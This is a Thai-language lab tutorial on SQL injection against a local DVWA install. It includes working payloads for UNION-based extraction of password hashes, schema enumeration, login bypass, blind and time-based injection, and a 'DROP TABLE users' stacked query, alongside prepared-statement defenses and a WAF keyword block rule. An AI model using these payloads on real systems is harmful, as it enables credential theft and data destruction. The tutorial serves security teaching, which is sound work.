Back

Cyber Security: เรียนรู้ SQL InjectionBlur image

1. การเตรียม Lab (Lab Setup)#

ก่อนเริ่ม Lab นี้ จำเป็นต้องเตรียม Environment ให้พร้อมก่อน

การติดตั้ง Ubuntu VM (Ubuntu VM Setup)#

จำเป็นต้องมี Ubuntu Linux VM ที่รันอยู่บน VirtualBox โดยสามารถดูขั้นตอนการติดตั้งแบบละเอียดและพื้นฐานการใช้งาน Linux command line ได้จากบทความ Ubuntu Basic Tutorial

DVWA#

ก่อนเริ่มทำแบบฝึกหัด ตรวจสอบให้แน่ใจว่าติดตั้ง DVWA เรียบร้อยแล้ว ให้ทำตามขั้นตอนในบทความ Brute Force Lab สำหรับการติดตั้ง DVWA


2. Introduction to SQL Injection#

ยินดีต้อนรับสู่ SQL Injection Lab! ต่อเนื่องจาก Linux Security Lab จะเริ่มเรียนรู้หนึ่งในเทคนิคการโจมตี Web Application ที่อันตรายและพบบ่อยที่สุด

SQL Injection คืออะไร?#

SQL Injection (SQLi) คือเทคนิคการโจมตีแบบ code injection ที่อาศัยช่องโหว่ในชั้น database ของ application โดย attacker สามารถแทรก (inject) คำสั่ง SQL ที่เป็นอันตรายเข้าไปใน input field เพื่อให้ database ประมวลผลคำสั่งนั้น ซึ่งอาจนำไปสู่การเข้าถึงข้อมูลโดยไม่ได้รับอนุญาต

Normal query:  SELECT * FROM users WHERE id = 1
Injected:      SELECT * FROM users WHERE id = 1 OR 1=1
Result:        Returns ALL users instead of just user #1
sql

SQL Injection ทำงานอย่างไร#

SQL Injection Flow

ภาพนี้อธิบายกระบวนการเกิด SQL Injection

  1. User ส่ง input เข้า Web Application
  2. Application นำ input ไปสร้าง SQL Query
  3. หากไม่มีการตรวจสอบหรือกรองข้อมูล (No input sanitization) จะเกิดช่องโหว่
  4. Attacker สามารถแทรก SQL command ที่เป็นอันตรายเข้าไปได้
  5. Database execute malicious query
  6. ส่งผลให้ข้อมูลรั่วไหล (Data leaked) หรือถูกเข้าถึงโดยไม่ได้รับอนุญาต

เหตุใด SQL Injection จึงอันตราย#

ผลกระทบ (Impact)คำอธิบาย
Data Breachขโมยข้อมูลสำคัญ เช่น password, personal information, credit card
Authentication BypassLogin ได้โดยไม่ต้องมี credential ที่ถูกต้อง
Data Manipulationแก้ไขหรือลบข้อมูลใน database
Privilege Escalationยกระดับสิทธิ์เป็น admin ของ database
Remote Code Executionในบางกรณีสามารถ execute operating system command ได้

OWASP Ranking#

SQL Injection ติดอันดับ Top 5 vulnerability ใน OWASP Top 10 ต่อเนื่องมานานกว่าสิบปี และยังคงเป็นหนึ่งในช่องโหว่ที่ถูกโจมตีมากที่สุดทั่วโลก

OWASP Top 10:2025 - https://owasp.org/Top10/2025/

RankCategory
A01:2025Broken Access Control
A02:2025Security Misconfiguration
A03:2025Software Supply Chain Failures
A04:2025Cryptographic Failures
A05:2025Injection
A06:2025Insecure Design
A07:2025Authentication Failures
A08:2025Software or Data Integrity Failures
A09:2025Security Logging and Alerting Failures
A10:2025Mishandling of Exceptional Conditions

3. Start VM และเชื่อมต่อผ่าน SSH#

Start VM#

ใน VirtualBox ให้ดับเบิลคลิกที่ Ubuntu Linux VM เพื่อเริ่มต้นระบบ

เชื่อมต่อผ่าน SSH#

Pro Tip: การใช้ SSH จาก host machine จะช่วยให้ copy command จาก tutorial ได้ง่ายขึ้น

บน Windows (Command Prompt หรือ PowerShell):

ssh -p 2222 your_username@localhost
cmd

บน macOS หรือ Linux (Terminal):

ssh -p 2222 your_username@localhost
bash

แทนที่ your_username ด้วย username ของ Ubuntu เช่น u6090059

จากนั้นกรอก Ubuntu password เมื่อระบบถาม โดย prompt จะเปลี่ยนเป็น:

your_username@your_hostname:~$
bash

📚 หากต้องการรายละเอียดเพิ่มเติม สามารถดูได้จากบทความ Ubuntu Basic Tutorial

SSH Connection


4. SQL Basics Lab#

ก่อนเริ่มทำ SQL Injection จำเป็นต้องเข้าใจคำสั่ง SQL พื้นฐานก่อน โดยจะทดลองใช้งานบน MySQL/MariaDB server

Lab: SQL#

เปิด MySQL Command Line:

sudo mysql -u root
bash

Password คือ student ID

Show Databases#

แสดง database ทั้งหมดที่ user มีสิทธิ์เข้าถึง

SHOW DATABASES;
sql

Expected output:

+--------------------+
| Database           |
+--------------------+
| dvwa               |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+

Select a Database#

เลือก database ที่ต้องการใช้งาน

USE dvwa;
sql

Expected output:

Database changed

Display All Tables#

แสดง table ทั้งหมดภายใน database

SHOW TABLES;
sql

Expected output:

+----------------+
| Tables_in_dvwa |
+----------------+
| access_log     |
| guestbook      |
| security_log   |
| users          |
+----------------+

SELECT All Columns#

ทดลองดึงข้อมูลทุก column จาก table users

SELECT * FROM users;
sql

Expected output:

+---------+------------+-----------+---------+----------------------------------+----------------------------------+-------+-----------------+
| user_id | first_name | last_name | user    | password                         | avatar                           | role  | account_enabled |
+---------+------------+-----------+---------+----------------------------------+----------------------------------+-------+-----------------+
|       1 | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | /dvwa/hackable/users/admin.jpg   | admin |               1 |
|       2 | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | /dvwa/hackable/users/gordonb.jpg | user  |               1 |
|       3 | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | /dvwa/hackable/users/1337.jpg    | user  |               1 |
|       4 | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | /dvwa/hackable/users/pablo.jpg   | user  |               1 |
|       5 | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | /dvwa/hackable/users/smithy.jpg  | user  |               1 |
+---------+------------+-----------+---------+----------------------------------+----------------------------------+-------+-----------------+

หมายเหตุ: โครงสร้าง database ของ DVWA อาจแตกต่างกันได้ สามารถใช้ DESCRIBE users; เพื่อตรวจสอบชื่อ column จริง

SELECT Specific Columns#

เลือกเฉพาะ column user และ first_name

SELECT user, first_name FROM users;
sql

Expected output:

+----------+------------+
| user     | first_name |
+----------+------------+
| admin    | admin      |
| gordonb  | Gordon     |
| 1337     | Hack       |
| pablo    | Pablo      |
| smithy   | Bob        |
+----------+------------+

SELECT with WHERE Clause#

เลือกข้อมูลโดยใช้ WHERE

SELECT user_id, user, first_name FROM users WHERE user_id = 1;
sql

Expected output:

+---------+-------+------------+
| user_id | user  | first_name |
+---------+-------+------------+
|       1 | admin | admin      |
+---------+-------+------------+

INSERT Data#

เพิ่มข้อมูลลงใน table users

INSERT INTO users (user_id, first_name, last_name, user, password)
VALUES (6, 'Karn', 'Yong', 'u6090059', MD5('6090059'));
sql

💡 หมายเหตุ: DVWA อาจใช้ password hashing แตกต่างกันตาม security level ควรตรวจสอบ column ด้วย DESCRIBE users; ก่อน

View Inserted Data#

ตรวจสอบข้อมูลที่เพิ่มเข้าไป

SELECT * FROM users WHERE user_id = 6;
sql

Expected output:

+---------+------------+-----------+----------+----------------------------------+
| user_id | first_name | last_name | user     | password                         |
+---------+------------+-----------+----------+----------------------------------+
|       6 | Karn       | Yong      | u6090059 | a3d2f5c8... (MD5 hash)           |
+---------+------------+-----------+----------+----------------------------------+

SELECT by user_id#

ทดลองค้นหาข้อมูลจาก user_id

SELECT first_name, last_name FROM users WHERE user_id = 2;
sql

Expected output:

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| Gordon     | Brown     |
+------------+-----------+

UNION - Combining Query Results#

UNION ใช้สำหรับรวมผลลัพธ์จากหลาย SELECT statement

SELECT first_name, last_name FROM users WHERE user_id = 1
UNION
SELECT user, password FROM users WHERE user_id = 1;
sql

Expected output:

+------------+----------------------------------+
| first_name | last_name                        |
+------------+----------------------------------+
| admin      | admin                            |
| admin      | 5f4dcc3b5aa765d61d8327deb882cf99 |
+------------+----------------------------------+

⚠️ สำคัญ: Query ทั้งสองฝั่งของ UNION ต้องมีจำนวน column เท่ากัน และ data type ต้อง compatible กัน

-- ใช้งานได้: ทั้งสอง query มี 2 columns
SELECT first_name, last_name FROM users WHERE user_id = 1
UNION
SELECT user, password FROM users WHERE user_id = 1;

-- ใช้งานไม่ได้: จำนวน columns ต่างกัน (1 vs 2)
SELECT first_name FROM users WHERE user_id = 1
UNION
SELECT user, password FROM users WHERE user_id = 1;
sql

Exit MySQL#

EXIT;
sql

5. Understanding SQL Injection on Web Pages#

ใน Web Page อาจมี feature สำหรับเลือกและแสดงข้อมูล เช่น การค้นหาผู้ใช้ผ่าน user_id ซึ่งจะใช้ SQL query ลักษณะนี้

SELECT first_name, last_name FROM users WHERE user_id = $id
sql

โดย $id คือค่าที่ user กรอกจากหน้าเว็บ

เมื่อกรอก 1 query จะกลายเป็น:

SELECT first_name, last_name FROM users WHERE user_id = 1
sql

ซึ่งเป็น query ปกติ แต่หากมีการใส่ malicious SQL เข้าไป จะเกิดอะไรขึ้น?

Injection ทำงานอย่างไร#

สามารถแทนค่าของ 1 ด้วย SQL Injection ที่ใช้ UNION เพื่อดึงข้อมูล เช่น username และ password

Normal input:

User ID: 1
SELECT first_name, last_name FROM users WHERE user_id = 1
sql

Injected input:

User ID: 1 UNION SELECT user, password FROM users
SELECT first_name, last_name FROM users WHERE user_id = 1 UNION SELECT user, password FROM users
sql

ผลลัพธ์:

+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
| admin      | password  |
+------------+-----------+

⚠️ attacker สามารถดึง username และ password ออกจาก database ได้สำเร็จ

ประเภทของ SQL Injection#

TypeคำอธิบายExample
UNION-basedรวมผลลัพธ์จากสอง query1 UNION SELECT user, password FROM users
Error-basedดึงข้อมูลผ่าน error message' AND extractvalue(1,concat(0x7e,(SELECT user())))--
Blind (Boolean)ใช้คำถามแบบ true/false' AND 1=1-- vs ' AND 1=2--
Blind (Time-based)ใช้ delay ใน response' AND SLEEP(5)--
Stacked QueriesExecute หลาย query พร้อมกัน'; DROP TABLE users;--

6. SQL Injection - Low Security#

Exercise 1: Set Up Port Forwarding#

เพื่อเข้าถึง DVWA จาก browser ของ host machine จำเป็นต้องตั้งค่า port forwarding ใน VirtualBox

  1. Shut down Ubuntu VM

  2. ใน VirtualBox คลิกขวา VM → SettingsNetworkAdvancedPort Forwarding

  3. เพิ่ม rule ใหม่:

    • Name: HTTP
    • Protocol: TCP
    • Host Port: 8080
    • Guest Port: 80
    • ปล่อย Host IP และ Guest IP ว่างไว้
  4. กด OK และ start VM ใหม่

Port Forwarding Settings

จากนั้นสามารถเข้า DVWA ผ่าน:

http://localhost:8080/dvwa

Exercise 2: Login to DVWA#

เปิด:

http://localhost:8080/dvwa/login.php
Username: admin
Password: password

DVWA Login

Exercise 3: Set DVWA Security to Low#

เปิด:

http://localhost:8080/dvwa/security.php

ตั้งค่า security level เป็น Low แล้วกด Submit

DVWA Security Level Low

Exercise 4: สำรวจหน้า SQL Injection#

เปิด: http://localhost:8080/dvwa/vulnerabilities/sqli/

คลิก View Source ที่ด้านล่างของหน้าเพื่อดู PHP source code

จะเห็น form ที่มีช่องกรอก User ID

DVWA SQL Injection Page

ทดลอง query ปกติก่อน:

User ID: 1

กด Submit จะเห็นชื่อและนามสกุลของ user ID 1

DVWA SQL Injection ID 1 Result

💡 สังเกต URL

http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit

input จาก user ถูกส่งผ่าน GET parameter ชื่อ id

ทำความเข้าใจ Vulnerable Code#

คลิกปุ่ม View Source ด้านล่างของหน้าเพื่อดู PHP source code โดยใน DVWA Low security จะมีลักษณะดังนี้:

$id = $_GET[ 'id' ];

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
php

ค่า input จาก user ($id) ถูกนำไปใส่ใน SQL query โดยตรง โดยไม่มีการ sanitization หรือ parameterization ซึ่งเป็นช่องโหว่หลัก

เมื่อกรอก 1 query จะกลายเป็น:

SELECT first_name, last_name FROM users WHERE user_id = '1';
sql

Exercise 5: SQL Injection - Always True Condition#

ทดลอง exploit ช่องโหว่โดยทำให้เงื่อนไขใน WHERE เป็นจริงเสมอ

Input:

1' OR '1' = '1

จะได้ SQL query ดังนี้:

SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1' = '1';
sql

เนื่องจาก '1' = '1' เป็นเงื่อนไขที่ จริงเสมอ (always true) query จึงคืนค่าทุก row จาก table users

DVWA SQL Injection Always True


Exercise 6: UNION-Based SQL Injection#

ทดลองใช้ UNION เพื่อดึงข้อมูลจาก column อื่น

Input:

' UNION SELECT user, password FROM users#

# คือ MySQL comment ใช้ comment ส่วนที่เหลือของ query

query ที่ได้:

SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT user, password FROM users#';
sql

จริง ๆ แล้ว query นี้ประกอบด้วย 2 query:

  1. SELECT first_name, last_name FROM users WHERE user_id = '' → คืนค่า 0 row

  2. SELECT user, password FROM users → คืนค่า username และ password ทั้งหมด

UNION จะรวมผลลัพธ์ของทั้งสอง query เข้าด้วยกัน โดยทั้งสองฝั่งต้องมี จำนวน column เท่ากัน

จะเห็น username และ password จาก database

DVWA SQL Injection UNION

Expected output:

First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
...

⚠️ password ถูกเปิดเผยแล้ว ในสถานการณ์จริง attacker จะสามารถขโมย credential ของผู้ใช้ทั้งหมดได้


Exercise 7: ดึงข้อมูลเฉพาะ#

หมายเหตุ: query ต่อไปนี้อาจไม่ทำงานบน DVWA Low security เนื่องจากข้อจำกัดของ query structure

ดึงเฉพาะ admin password#

' UNION SELECT user, password FROM users WHERE user = 'admin'#

ดึง database version#

' UNION SELECT @@version, database()#

จะได้ข้อมูล:

  • MySQL/MariaDB version
  • ชื่อ database ปัจจุบัน (dvwa)

Exercise 8: ดึงชื่อ Database ทั้งหมด#

' UNION SELECT schema_name, NULL FROM information_schema.schemata#

information_schema เป็น database พิเศษใน MySQL ที่เก็บ metadata ของ database และ table ทั้งหมด

query นี้จะแสดง database ทั้งหมดใน server


Exercise 9: ดึงชื่อ Table#

' UNION SELECT table_name, table_type FROM information_schema.tables WHERE table_schema = 'dvwa'#

query นี้จะแสดง table ทั้งหมดใน database dvwa


Exercise 10: ดึงชื่อ Column#

' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'users'#

query นี้จะแสดงโครงสร้างของ table users รวมถึงชื่อ column และ data type


7. SQL Injection - Medium Security#

ในระดับ Medium security รูปแบบ input เปลี่ยนจาก text field เป็น dropdown menu

Exercise 11: ตั้งค่า DVWA Security เป็น Medium#

เปิด:

http://localhost:8080/dvwa/security.php

ตั้งค่า security level เป็น Medium แล้วกด Submit


Exercise 12: Inspect และแก้ไข Dropdown#

  1. เปิดหน้า SQL Injection: http://localhost:8080/dvwa/vulnerabilities/sqli/

  2. เปิด Inspect Tool ของ browser (คลิกขวา → Inspect)

  3. เลือก element ของ dropdown

  4. แก้ไขค่า value ของ <option>

ตัวอย่าง เปลี่ยน value เป็น 6

<option value="6">6</option>
html

DVWA Inspect Dropdown

กด Submit จะเห็นข้อมูลของ user_id = 6


Exercise 13: Always True Condition (Medium)#

แก้ไขค่า dropdown เพื่อให้ condition เป็นจริงเสมอ

1 or 1=1
<option value="1 or 1=1">1</option>
html

เมื่อกด Submit จะได้ query:

SELECT first_name, last_name FROM users WHERE user_id = 1 OR 1 = 1;
sql

เนื่องจาก 1 = 1 เป็นจริงเสมอ query จะคืนค่าทุก row

DVWA Medium Always True


Exercise 14: UNION-Based Injection (Medium)#

ทดลองใช้ UNION เพื่อดึง username และ password

1 UNION SELECT user, password FROM users
<option value="1 UNION SELECT user, password FROM users">1</option>
html

query ที่ได้:

SELECT first_name, last_name FROM users WHERE user_id = 1 UNION SELECT user, password FROM users;
sql

DVWA Medium UNION Injection


8. Authentication Bypass ผ่าน SQL Injection#

SQL injection สามารถใช้เพื่อ bypass login form ได้

อย่างไรก็ตาม login page ของ DVWA ใช้ prepared statements จึง ไม่ vulnerable ต่อการโจมตีนี้ ส่วนนี้ใช้เพื่อการศึกษาเท่านั้น

Authentication Bypass ทำงานอย่างไร#

หาก login form ใช้ SQL query แบบนี้:

$query = "SELECT * FROM users WHERE user = '$username' AND password = '$password'";
php

attacker สามารถ inject ผ่าน username field:

Username: admin' OR '1'='1
Password: anything

query ที่ได้:

SELECT * FROM users WHERE user = 'admin' OR '1'='1' AND password = 'anything'
sql

เนื่องจาก '1'='1' เป็นจริงเสมอ query จะคืนค่าของ user แรก ทำให้ bypass authentication ได้

Payload อื่น#

Username: admin'#
Password: anything

payload admin'# จะ comment password check ทิ้งทั้งหมด:

SELECT * FROM users WHERE user = 'admin'#' AND password = 'anything'
sql

query จะกลายเป็น:

SELECT * FROM users WHERE user = 'admin'
sql

หมายเหตุ: เทคนิคนี้ใช้ได้เฉพาะ login form ที่ไม่ได้ใช้ prepared statements เท่านั้น


9. Blind SQL Injection#

บางครั้ง application ไม่แสดงผล query โดยตรง แต่ยังสามารถดึงข้อมูลได้ผ่านการถามแบบ yes/no

Exercise 15: Boolean-Based Blind SQLi#

หากหน้าเว็บแสดงผลต่างกันระหว่าง true/false

User ID: 1 AND 1=1-- -

→ หน้าเว็บแสดงข้อมูลตามปกติ (TRUE)

User ID: 1 AND 1=2-- -

→ หน้าเว็บไม่แสดงข้อมูล (FALSE)

ดึงชื่อ Database ทีละตัวอักษร#

User ID: 1 AND SUBSTRING(database(),1,1) = 'd'-- -

หากหน้าเว็บแสดงข้อมูล แปลว่าอักษรตัวแรกของ database คือ d

ทำซ้ำเพื่อดึงอักษรตัวถัดไป


Exercise 16: Time-Based Blind SQLi#

กรณีหน้าเว็บไม่มีความแตกต่างที่สังเกตได้

User ID: 1 AND SLEEP(5)-- -

หาก response ใช้เวลา 5 วินาที แปลว่า query ทำงานสำเร็จ

สามารถใช้ดึงข้อมูลได้ เช่น:

User ID: 1 AND IF(SUBSTRING(database(),1,1)='d', SLEEP(5), 0)-- -

หาก response delay 5 วินาที แปลว่าอักษรตัวแรกคือ d


10. เปรียบเทียบระดับ Security ของ DVWA#

Low Security (ระดับที่ทดลอง)#

// ไม่มีการป้องกัน - นำ user input ไปใช้โดยตรง
$id = $_GET[ 'id' ];
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
php

ช่องโหว่ (Vulnerabilities)#

  • ❌ ไม่มี input sanitization
  • ❌ ไม่มี parameterized queries
  • ❌ แสดง error message จาก database
  • ❌ ใช้ string concatenation โดยตรง

Medium Security#

// มีการป้องกันบางส่วนด้วย mysql_real_escape_string
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $_POST[ 'id' ]);
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
php

การปรับปรุง (Improvements)#

  • ✅ ใช้ mysqli_real_escape_string()
  • ✅ ใช้ POST แทน GET
  • ❌ ยัง vulnerable อยู่ (ไม่มี quote ครอบ $id)

วิธี Bypass#

เนื่องจาก $id ไม่ถูกครอบด้วย quote จึงยัง inject ได้

User ID: 1 UNION SELECT user, password FROM users

High Security#

// ใช้ prepared statements พร้อม LIMIT 1
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";
php

การปรับปรุง#

  • ✅ ใช้ prepared statements
  • ✅ จำกัดผลลัพธ์เหลือ 1 row
  • ❌ ยัง bypass ได้ด้วย LIMIT tricks

Impossible Security#

// Fully secure implementation
$stmt = $GLOBALS["___mysqli_ston"]->prepare("SELECT first_name, last_name FROM users WHERE user_id = ? LIMIT 1;");
$stmt->bind_param("i", $id);
$stmt->execute();
php

ระบบป้องกันทั้งหมด#

  • ✅ Parameterized queries (prepared statements)
  • ✅ ตรวจสอบ input type (integer เท่านั้น)
  • ✅ ใช้ LIMIT 1
  • ✅ ใช้ PDO พร้อม secure defaults

11. Defense และ Prevention#

Defense Strategy#

Defense Strategy

เทคนิคการป้องกัน (Prevention Techniques)#


1. ใช้ Parameterized Queries (Prepared Statements)#

นี่คือวิธีป้องกัน SQL injection ที่สำคัญที่สุด

// ✅ SAFE - Prepared statement (inject ไม่ได้)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $user_input]);

// ❌ UNSAFE - String concatenation (มีช่องโหว่)
$query = "SELECT * FROM users WHERE id = " . $user_input;
php

หลักการทำงาน#

Prepared Statement Flow:
1. ส่ง SQL query ไปยัง DB พร้อม placeholder (?)
2. Database compile โครงสร้าง query
3. ส่ง user input แยกเป็น parameter
4. Database มอง input เป็น DATA เท่านั้น ไม่ใช่ SQL code

2. Input Validation#

ตรวจสอบและ sanitize input ทุกครั้ง

// ตรวจสอบว่า ID เป็นตัวเลข
if (!is_numeric($user_input)) {
    die("Invalid input");
}

// Whitelist เฉพาะค่าที่อนุญาต
$allowed_ids = [1, 2, 3, 4, 5];
if (!in_array($user_input, $allowed_ids)) {
    die("Invalid ID");
}
php

3. Least Privilege Database Accounts#

-- account ของ application ควรมีเฉพาะ permission ที่จำเป็น
GRANT SELECT, INSERT, UPDATE ON dvwa.users TO 'app_user'@'localhost';

-- ไม่ควรให้:
-- GRANT ALL, DROP, ALTER, DELETE (หากไม่จำเป็น)
sql

4. Web Application Firewall (WAF)#

# Nginx - Block รูปแบบ SQLi ที่พบบ่อย
location / {
    # Block common SQL injection patterns
    if ($args ~* "(UNION|SELECT|INSERT|DROP|DELETE|UPDATE|OR 1=1|AND 1=1)") {
        return 403;
    }
}
nginx

5. Error Handling#

ไม่ควรแสดง database error ต่อ user

// ❌ BAD - เปิดเผยโครงสร้าง database
die(mysqli_error($conn));

// ✅ GOOD - แสดง generic error message
die("An error occurred. Please try again.");
php

Defense Checklist#

DefensePriorityEffectiveness
Parameterized queries🔴 Criticalป้องกัน SQLi ได้เกือบทั้งหมด
Input validation🔴 Criticalblock malicious input ตั้งแต่ต้น
Least privilege🟡 Highลดความเสียหายหากถูก inject
WAF rules🟡 Highblock attack pattern ที่รู้จัก
Error handling🟢 Mediumป้องกัน information leakage
Logging🟢 Mediumช่วยในการ detection และ response

12. Quick Reference#

SQL Injection Payloads (Low Security)#

หมายเหตุ: ใน DVWA Low security ให้ใช้ ' เพื่อปิด string และใช้ # เพื่อ comment ส่วนที่เหลือของ query

ไม่ควรใช้ 1 เป็น prefix เพราะจะไม่ทำงาน

AttackPayload
Always true1' OR '1' = '1
UNION extract' UNION SELECT user, password FROM users#
UNION specific user' UNION SELECT user, password FROM users WHERE user = 'admin'#
Version check' UNION SELECT @@version, database()#
List databases' UNION SELECT schema_name, NULL FROM information_schema.schemata#
List tables' UNION SELECT table_name, table_type FROM information_schema.tables WHERE table_schema = 'dvwa'#
List columns' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'users'#

SQL Injection Payloads (Medium Security)#

หมายเหตุ: ใน Medium security ให้แก้ไข <option value="..."> ผ่าน browser Inspect tool

ไม่จำเป็นต้องใช้ quote เนื่องจาก input ไม่ถูกครอบด้วย quote

AttackDropdown Option Value
Always true1 or 1=1
UNION extract1 UNION SELECT user, password FROM users

SQL Commands Quick Reference#

CommandDescription
SHOW DATABASES;แสดง database ทั้งหมด
USE database_name;เลือก database
SHOW TABLES;แสดง table ทั้งหมด
DESCRIBE table_name;แสดงโครงสร้าง table
SELECT * FROM table;ดึงข้อมูลทั้งหมด
SELECT col1, col2 FROM table WHERE condition;query แบบมีเงื่อนไข
INSERT INTO table (cols) VALUES (vals);เพิ่มข้อมูล
UNION SELECT ...รวมผลลัพธ์จากหลาย query

13. Next Steps#

ยินดีด้วย! ได้เรียนจบ SQL Injection Lab แล้ว

สิ่งที่ได้เรียนรู้#

  • ✅ พื้นฐาน SQL
  • ✅ ประเภทของ SQL injection
  • ✅ การโจมตีแบบ UNION-based SQL injection
  • ✅ เทคนิคการป้องกัน SQL injection

  1. Cross-Site Scripting (XSS) - การโจมตีฝั่ง client-side
  2. Command Injection - การ inject command ระดับ OS
  3. Session Hijacking - การขโมย session
  4. Security Testing Methodologies - OWASP Testing Guide
  5. Secure Coding - การเขียน code ที่ปลอดภัย

Practice Resources#

ResourceURL
OWASP Top 10https://owasp.org/www-project-top-ten/
OWASP SQLi Guidehttps://owasp.org/www-community/attacks/SQL_Injection
DVWA Documentationhttps://github.com/digininja/DVWA
Web Security Academyhttps://portswigger.net/web-security
SQL Injection Cheat Sheethttps://portswigger.net/web-security/sql-injection/cheat-sheet

Ethical Considerations#

⚠️ IMPORTANT

  • ทดสอบเฉพาะระบบที่เป็นเจ้าของ หรือได้รับอนุญาตเท่านั้น
  • SQL injection เป็นการกระทำผิดกฎหมายหากทำโดยไม่ได้รับอนุญาต
  • ใช้ความรู้เพื่อ defensive purpose และ authorized security testing เท่านั้น
  • รายงานช่องโหว่อย่างรับผิดชอบผ่าน disclosure process ที่เหมาะสม
  • ควรได้รับอนุญาตเป็นลายลักษณ์อักษรก่อนทำ penetration testing

การเข้าถึงระบบคอมพิวเตอร์โดยไม่ได้รับอนุญาตถือเป็นความผิดทางอาญาในหลายประเทศ

tutorial นี้จัดทำขึ้นเพื่อ การศึกษาเท่านั้น และควรใช้ใน isolated lab environment เท่านั้น เช่น DVWA setup ของตนเอง


Happy learning and stay ethical! 🔐

Cyber Security: เรียนรู้ SQL Injection
Author กานต์ ยงศิริวิทย์ / Karn Yongsiriwit
Published at May 20, 2026

Loading comments...

Comments 0